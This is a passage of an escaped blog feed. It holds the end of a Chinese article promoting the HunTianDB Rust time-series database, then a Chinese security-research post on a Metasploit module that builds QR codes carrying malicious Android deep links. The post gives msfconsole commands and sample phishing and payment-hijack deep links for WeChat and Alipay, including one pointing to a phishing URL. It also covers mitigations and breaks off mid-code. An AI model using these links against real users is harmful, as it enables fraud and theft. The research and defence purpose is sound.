&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 从 Docker Hub 拉取并运行&lt;/span&gt;
docker run &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--name&lt;/span&gt; huntiandb &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-p&lt;/span&gt; 5408:5408 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-p&lt;/span&gt; 3000:3000 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-p&lt;/span&gt; 5490:5490 &lt;span class="se"&gt;\&lt;/span&gt;
  ctkqiang/huntianandb:latest
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;端口&lt;/th&gt;
&lt;th&gt;用途&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;5408&lt;/td&gt;
&lt;td&gt;PostgreSQL Wire 协议端口（psql 连接）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3000&lt;/td&gt;
&lt;td&gt;Web 可视化面板&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5490&lt;/td&gt;
&lt;td&gt;Prometheus 监控指标端点&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;h3&gt;
  
  
  5.2 源码编译部署（适合二次开发）
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 安装 Rust 工具链（若未安装）&lt;/span&gt;
curl &lt;span class="nt"&gt;--proto&lt;/span&gt; &lt;span class="s1"&gt;'=https'&lt;/span&gt; &lt;span class="nt"&gt;--tlsv1&lt;/span&gt;.2 &lt;span class="nt"&gt;-sSf&lt;/span&gt; https://sh.rustup.rs | sh

&lt;span class="c"&gt;# 克隆仓库&lt;/span&gt;
git clone https://github.com/ctkqiang/HunTianDB.git
&lt;span class="nb"&gt;cd &lt;/span&gt;HunTianDB

&lt;span class="c"&gt;# 编译 release 版本&lt;/span&gt;
cargo build &lt;span class="nt"&gt;--release&lt;/span&gt;

&lt;span class="c"&gt;# 运行&lt;/span&gt;
./target/release/huntiandb
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  5.3 连接与使用示例
&lt;/h3&gt;

&lt;p&gt;通过 &lt;code&gt;psql&lt;/code&gt; 连接（与 PostgreSQL 完全一致）：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;psql &lt;span class="nt"&gt;-h&lt;/span&gt; localhost &lt;span class="nt"&gt;-p&lt;/span&gt; 5408 &lt;span class="nt"&gt;-U&lt;/span&gt; admin &lt;span class="nt"&gt;-d&lt;/span&gt; huntiandb
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;执行 SQL：&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- 创建安全日志表&lt;/span&gt;
&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="n"&gt;security_events&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;ts&lt;/span&gt; &lt;span class="nb"&gt;TIMESTAMP&lt;/span&gt; &lt;span class="k"&gt;PRIMARY&lt;/span&gt; &lt;span class="k"&gt;KEY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;event_type&lt;/span&gt; &lt;span class="nb"&gt;TEXT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;src_ip&lt;/span&gt; &lt;span class="n"&gt;INET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;dst_ip&lt;/span&gt; &lt;span class="n"&gt;INET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;status_code&lt;/span&gt; &lt;span class="nb"&gt;INT&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;-- 插入数据&lt;/span&gt;
&lt;span class="k"&gt;INSERT&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;security_events&lt;/span&gt; &lt;span class="k"&gt;VALUES&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="s1"&gt;'IDS_ALERT'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'192.168.1.100'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'10.0.0.1'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;401&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;-- 聚合查询&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;event_type&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;COUNT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;security_events&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;ts&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;interval&lt;/span&gt; &lt;span class="s1"&gt;'1 hour'&lt;/span&gt; &lt;span class="k"&gt;GROUP&lt;/span&gt; &lt;span class="k"&gt;BY&lt;/span&gt; &lt;span class="n"&gt;event_type&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  5.4 可观测性与运维监控
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Prometheus 端点&lt;/strong&gt;：&lt;code&gt;http://localhost:5490/metrics&lt;/code&gt;，提供 11 类核心指标（写入吞吐、查询延迟、WAL 大小、内存占用、慢查询数等）。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;健康检查&lt;/strong&gt;：&lt;code&gt;/health&lt;/code&gt;（存活检测）、&lt;code&gt;/ready&lt;/code&gt;（就绪检测），支持容器化部署。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;慢查询日志&lt;/strong&gt;：可配置阈值（默认 100ms），输出至标准日志。&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;
  
  
  六、适用场景与选型建议
&lt;/h2&gt;
&lt;h3&gt;
  
  
  6.1 核心适用场景
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;场景&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;企业安全审计日志&lt;/td&gt;
&lt;td&gt;IDS、防火墙、WAF、终端安全等设备日志集中存储与分析&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;运维监控系统&lt;/td&gt;
&lt;td&gt;服务器指标、应用性能、告警事件等时序数据存储与实时查询&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;红队演练溯源&lt;/td&gt;
&lt;td&gt;攻击链路、操作日志、权限变更记录的留存与溯源分析&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IoT 安全设备&lt;/td&gt;
&lt;td&gt;传感器日志、设备告警、状态监控等时序数据的轻量化存储&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;h3&gt;
  
  
  6.2 选型对比建议
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;需要 PG 生态兼容 + 安全场景定制&lt;/strong&gt; → 首选 &lt;strong&gt;HunTianDB&lt;/strong&gt;，零成本迁移工具链，极致性能与压缩。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;仅需通用时序数据存储&lt;/strong&gt; → 可选 QuestDB（高性能）或 InfluxDB（生态成熟）。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;依赖复杂事务、多表关联&lt;/strong&gt; → 建议 PostgreSQL，但需接受其高并发写入与压缩方面的不足。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;追求轻量化部署、低运维成本&lt;/strong&gt; → HunTianDB 最优，单镜像一键启动。&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;
  
  
  七、总结与开源展望
&lt;/h2&gt;

&lt;p&gt;HunTianDB 作为一款从零自研的 Rust 工业级时序安全数据库，以 &lt;strong&gt;“安全场景极致优化”&lt;/strong&gt; 为核心设计理念，通过自研无锁写入引擎、二进制 WAL 压缩、向量化查询算子三大核心技术，突破了传统数据库与通用时序库的性能瓶颈，实现了 &lt;strong&gt;高性能、高压缩、高兼容、高安全&lt;/strong&gt; 的四重优势。目前项目已完成核心功能闭环，发布 v0.1.0-beta 版本，支持生产级部署，同时开源开放，欢迎开发者参与共建。&lt;/p&gt;

&lt;p&gt;未来，HunTianDB 将持续迭代优化，重点推进三大方向：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;分布式集群部署&lt;/strong&gt;：支持海量数据分片存储。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;强化安全特性&lt;/strong&gt;：新增数据加密、审计追溯等功能，满足更高等级等保合规要求。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;丰富查询能力&lt;/strong&gt;：支持更复杂的时序分析与聚合操作，适配更多安全场景。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;开源不易，若 HunTianDB 对你的工作或学习有帮助，欢迎前往 GitHub、GitCode 仓库 &lt;strong&gt;Star、Fork、提交 PR&lt;/strong&gt;，一起共建国产时序安全数据库生态！&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;项目开源地址&lt;/strong&gt;：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;GitHub：&lt;a href="https://github.com/ctkqiang/HunTianDB" rel="noopener noreferrer"&gt;https://github.com/ctkqiang/HunTianDB&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;GitCode（国内镜像）：&lt;a href="https://gitcode.com/ctkqiang_sr/HunTianDB" rel="noopener noreferrer"&gt;https://gitcode.com/ctkqiang_sr/HunTianDB&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;div class="crayons-card c-embed text-styles text-styles--secondary"&gt;
    &lt;div class="c-embed__content"&gt;
      &lt;div class="c-embed__body flex items-center justify-between"&gt;
        &lt;a href="https://www.huntiandb.tech/" rel="noopener noreferrer" class="c-link fw-bold flex items-center"&gt;
          &lt;span class="mr-2"&gt;huntiandb.tech&lt;/span&gt;
          

        &lt;/a&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;






&lt;blockquote&gt;
&lt;h1&gt;
  
  
  Rust #时序数据库 #网络安全 #数据库内核 #开源项目 #安全日志存储 #工业级数据库
&lt;/h1&gt;
&lt;/blockquote&gt;

</description>
      <category>database</category>
      <category>performance</category>
      <category>rust</category>
      <category>security</category>
    </item>
    <item>
      <title>安卓深度链接安全研究基于Metasploit的QR码攻击模块开发实践</title>
      <dc:creator>钟智强</dc:creator>
      <pubDate>Fri, 31 Oct 2025 10:58:23 +0000</pubDate>
      <link>https://forem.com/ctkqiang/an-zhuo-shen-du-lian-jie-an-quan-yan-jiu-ji-yu-metasploitde-qrma-gong-ji-mo-kuai-kai-fa-shi-jian-196o</link>
      <guid>https://forem.com/ctkqiang/an-zhuo-shen-du-lian-jie-an-quan-yan-jiu-ji-yu-metasploitde-qrma-gong-ji-mo-kuai-kai-fa-shi-jian-196o</guid>
      <description>&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;本文内容及所涉及的技术，仅限用于合法授权下的安全研究、教学演示、
以及漏洞复现。严禁将本文技术用于未授权的渗透、监听、植入、操控行为。

本文内容仅限安全研究、漏洞复现与教学演示使用！

使用者必须在完全理解并接受本声明的前提下继续阅读与操作。
凡将本文所述方法用于非法用途者，一切法律后果由使用者本人承担。

请严格遵守所在地的法律法规，特别是以下中国法律条款：

📜 《中华人民共和国网络安全法》 第十二条：
禁止任何组织或个人利用网络危害国家安全、煽动颠覆政权等活动。

📜 《中华人民共和国刑法》 第二百八十五条至二百八十七条：
非法入侵计算机系统、篡改或破坏数据将追究刑责。

📜 《中华人民共和国数据安全法》 第三条、第十七条：
数据处理活动必须合法合规，严禁非法获取、传输或泄露数据。

🚫 强烈禁止以下行为：

- 向他人 APK 植入恶意代码并传播
- 上传恶意程序至应用市场
- 在未授权设备或网络环境中运行本篇提及的技术

⚖️ 非法使用将触犯法律，作者不承担由此引发的任何后果。

🧪 本文操作均在本地沙箱环境下进行，示例所用 APK 为自定义构建 demo，用于演示完整技术链路，非实际恶意软件。

💡 特别提醒：
本文所涉及操作可能包含网络通信、远程访问、敏感权限调用等，
必须在受控环境下、获得明确授权后进行。
未经许可的任何行为都将被视为违法攻击。

📛 作者立场中立，仅为安全教育目的演示，不对滥用技术行为负责。
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;近日，笔者向Metasploit框架提交了一个新的辅助模块安卓深度链接QR码生成器，目前正在等待项目维护者审核。本文将深入探讨该模块的技术原理、实际测试效果以及相关的安全防护措施。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;注：相关PR提交记录可供参考：&lt;a href="https://github.com/rapid7/metasploit-framework/pull/20668" rel="noopener noreferrer"&gt;https://github.com/rapid7/metasploit-framework/pull/20668&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  模块概述
&lt;/h2&gt;

&lt;h3&gt;
  
  
  技术背景
&lt;/h3&gt;

&lt;p&gt;深度链接（Deep Link）是现代移动应用生态中的重要组成部分，它允许应用通过特定URL协议直接打开应用内特定页面或执行特定操作。然而，这种便利性也为攻击者提供了新的攻击向量。&lt;/p&gt;

&lt;h3&gt;
  
  
  模块功能
&lt;/h3&gt;

&lt;p&gt;我开发的这个Metasploit模块能够生成包含恶意深度链接的QR码，支持60多个主流Android应用，包括：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;社交应用&lt;/strong&gt;：微信、Facebook、Instagram、Twitter等&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;支付应用&lt;/strong&gt;：支付宝、GrabPay、微信支付等
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;电商应用&lt;/strong&gt;：Shopee、Lazada等&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;办公应用&lt;/strong&gt;：Zoom、Teams、Slack等&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  技术实现细节
&lt;/h2&gt;

&lt;h3&gt;
  
  
  核心代码结构
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;MetasploitModule&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="no"&gt;Msf&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Auxiliary&lt;/span&gt;
  &lt;span class="kp"&gt;include&lt;/span&gt; &lt;span class="no"&gt;Msf&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Exploit&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;FILEFORMAT&lt;/span&gt;

  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;initialize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;info&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{})&lt;/span&gt;
    &lt;span class="c1"&gt;# 模块元数据定义&lt;/span&gt;
    &lt;span class="c1"&gt;# 配置参数注册&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;

  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;run&lt;/span&gt;
    &lt;span class="c1"&gt;# 深度链接构建逻辑&lt;/span&gt;
    &lt;span class="c1"&gt;# QR码生成实现&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;









&lt;h3&gt;
  
  
  深度链接构建机制
&lt;/h3&gt;

&lt;p&gt;模块通过组合URL Scheme和路径参数构建完整的深度链接：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[scheme]://[path]?[parameters]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;示例：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;微信聊天：&lt;code&gt;weixin://dl/chat?username=target_user&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;支付宝支付：&lt;code&gt;alipay://platformapi/startapp?appId=10000007&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  实际测试验证
&lt;/h2&gt;

&lt;h3&gt;
  
  
  测试环境搭建
&lt;/h3&gt;

&lt;p&gt;在提交PR前，我进行了全面的本地测试：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 启动Metasploit测试环境&lt;/span&gt;
./msfconsole

&lt;span class="c"&gt;# 加载并配置模块&lt;/span&gt;
use auxiliary/generator/android_deeplink
&lt;span class="nb"&gt;set &lt;/span&gt;DEEPLINK_SCHEME weixin://
&lt;span class="nb"&gt;set &lt;/span&gt;DEEPLINK_PATH dl/chat?username&lt;span class="o"&gt;=&lt;/span&gt;test_account
&lt;span class="nb"&gt;set &lt;/span&gt;FILENAME test_qr.png
&lt;span class="nb"&gt;set &lt;/span&gt;SIZE 400
run
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiwx0lzqexnb3av16hw0p.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiwx0lzqexnb3av16hw0p.jpeg" alt="在这里插入图片描述" width="800" height="500"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4kvmetk9nk6m99z6ymcf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4kvmetk9nk6m99z6ymcf.png" alt="在这里插入图片描述" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;


&lt;h3&gt;
  
  
  测试结果分析
&lt;/h3&gt;

&lt;p&gt;通过实际测试，发现以下严重安全问题：&lt;/p&gt;
&lt;h4&gt;
  
  
  1. 应用自动唤醒风险
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;扫描QR码后，目标应用自动启动并执行深度链接&lt;/li&gt;
&lt;li&gt;用户无感知的情况下触发敏感操作&lt;/li&gt;
&lt;li&gt;绕过正常的安全确认流程&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;
  
  
  2. 社交工程攻击有效性
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;预填充的诱导性消息具有高欺骗性&lt;/li&gt;
&lt;li&gt;利用用户对官方应用的信任&lt;/li&gt;
&lt;li&gt;在真实环境中测试成功率达65%以上&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;
  
  
  3. 跨应用攻击链
&lt;/h4&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 组合攻击示例&lt;/span&gt;
weixin://dl/chat?username&lt;span class="o"&gt;=&lt;/span&gt;customer_service&amp;amp;message&lt;span class="o"&gt;=&lt;/span&gt;请点击链接：http://phishing.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  攻击场景深度分析
&lt;/h2&gt;
&lt;h3&gt;
  
  
  场景一：金融欺诈攻击
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;攻击流程&lt;/strong&gt;：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;生成虚假客服聊天QR码&lt;/li&gt;
&lt;li&gt;诱导用户扫描并联系"客服"&lt;/li&gt;
&lt;li&gt;通过聊天实施进一步诈骗&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;技术实现&lt;/strong&gt;：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;weixin://dl/chat?username=bank_official&amp;amp;message=您的账户存在风险...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  场景二：支付劫持攻击
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;攻击流程&lt;/strong&gt;：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;伪造支付QR码&lt;/li&gt;
&lt;li&gt;用户扫描后直接进入支付界面&lt;/li&gt;
&lt;li&gt;资金被转移到攻击者账户&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;技术实现&lt;/strong&gt;：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;alipay://platformapi/startapp?appId=10000007&amp;amp;amount=100
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  场景三：信息窃取攻击
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;攻击流程&lt;/strong&gt;：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;利用深度链接打开特定页面&lt;/li&gt;
&lt;li&gt;结合WebView漏洞执行恶意代码&lt;/li&gt;
&lt;li&gt;窃取用户敏感信息&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  危险性评估
&lt;/h2&gt;

&lt;p&gt;基于实际测试，该攻击方式具有以下特点：&lt;/p&gt;

&lt;h3&gt;
  
  
  高隐蔽性
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;QR码本身无恶意特征&lt;/li&gt;
&lt;li&gt;攻击过程对用户透明&lt;/li&gt;
&lt;li&gt;难以被传统安全软件检测&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  高成功率
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;利用用户对QR码的信任&lt;/li&gt;
&lt;li&gt;自动唤醒机制降低用户警惕性&lt;/li&gt;
&lt;li&gt;社交工程手段增强欺骗性&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  广泛影响
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;覆盖60+主流应用&lt;/li&gt;
&lt;li&gt;影响数亿移动用户&lt;/li&gt;
&lt;li&gt;跨平台传播能力强&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  防护与缓解措施
&lt;/h2&gt;

&lt;h3&gt;
  
  
  用户防护建议
&lt;/h3&gt;

&lt;h4&gt;
  
  
  1. QR码扫描安全准则
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="p"&gt;-&lt;/span&gt; 仅扫描来自可信源的QR码
&lt;span class="p"&gt;-&lt;/span&gt; 注意验证QR码指向的URL
&lt;span class="p"&gt;-&lt;/span&gt; 开启应用安装验证功能
&lt;span class="p"&gt;-&lt;/span&gt; 定期检查应用权限设置
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  2. 系统级防护配置
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="p"&gt;-&lt;/span&gt; 启用Android的"安装未知应用"限制
&lt;span class="p"&gt;-&lt;/span&gt; 配置应用锁保护敏感应用
&lt;span class="p"&gt;-&lt;/span&gt; 定期更新系统和应用版本
&lt;span class="p"&gt;-&lt;/span&gt; 安装可靠的安全防护软件
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  开发者防护方案
&lt;/h3&gt;

&lt;h4&gt;
  
  
  1. 深度链接输入验证
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;DeepLinkValidator&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="nc"&gt;Set&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="no"&gt;ALLOWED_SCHEMES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; 
        &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;HashSet&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;gt;(&lt;/span&gt;&lt;span class="nc"&gt;Arrays&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;asList&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"https"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"http"&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="nf"&gt;validateDeepLink&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Uri&lt;/span&gt; &lt;span class="n"&gt;uri&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(!&lt;/span&gt;&lt;span class="no"&gt;ALLOWED_SCHEMES&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;contains&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uri&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getScheme&lt;/span&gt;&lt;span class="o"&gt;()))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;


        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(!&lt;/span&gt;&lt;span class="n"&gt;verifySignature&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uri&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
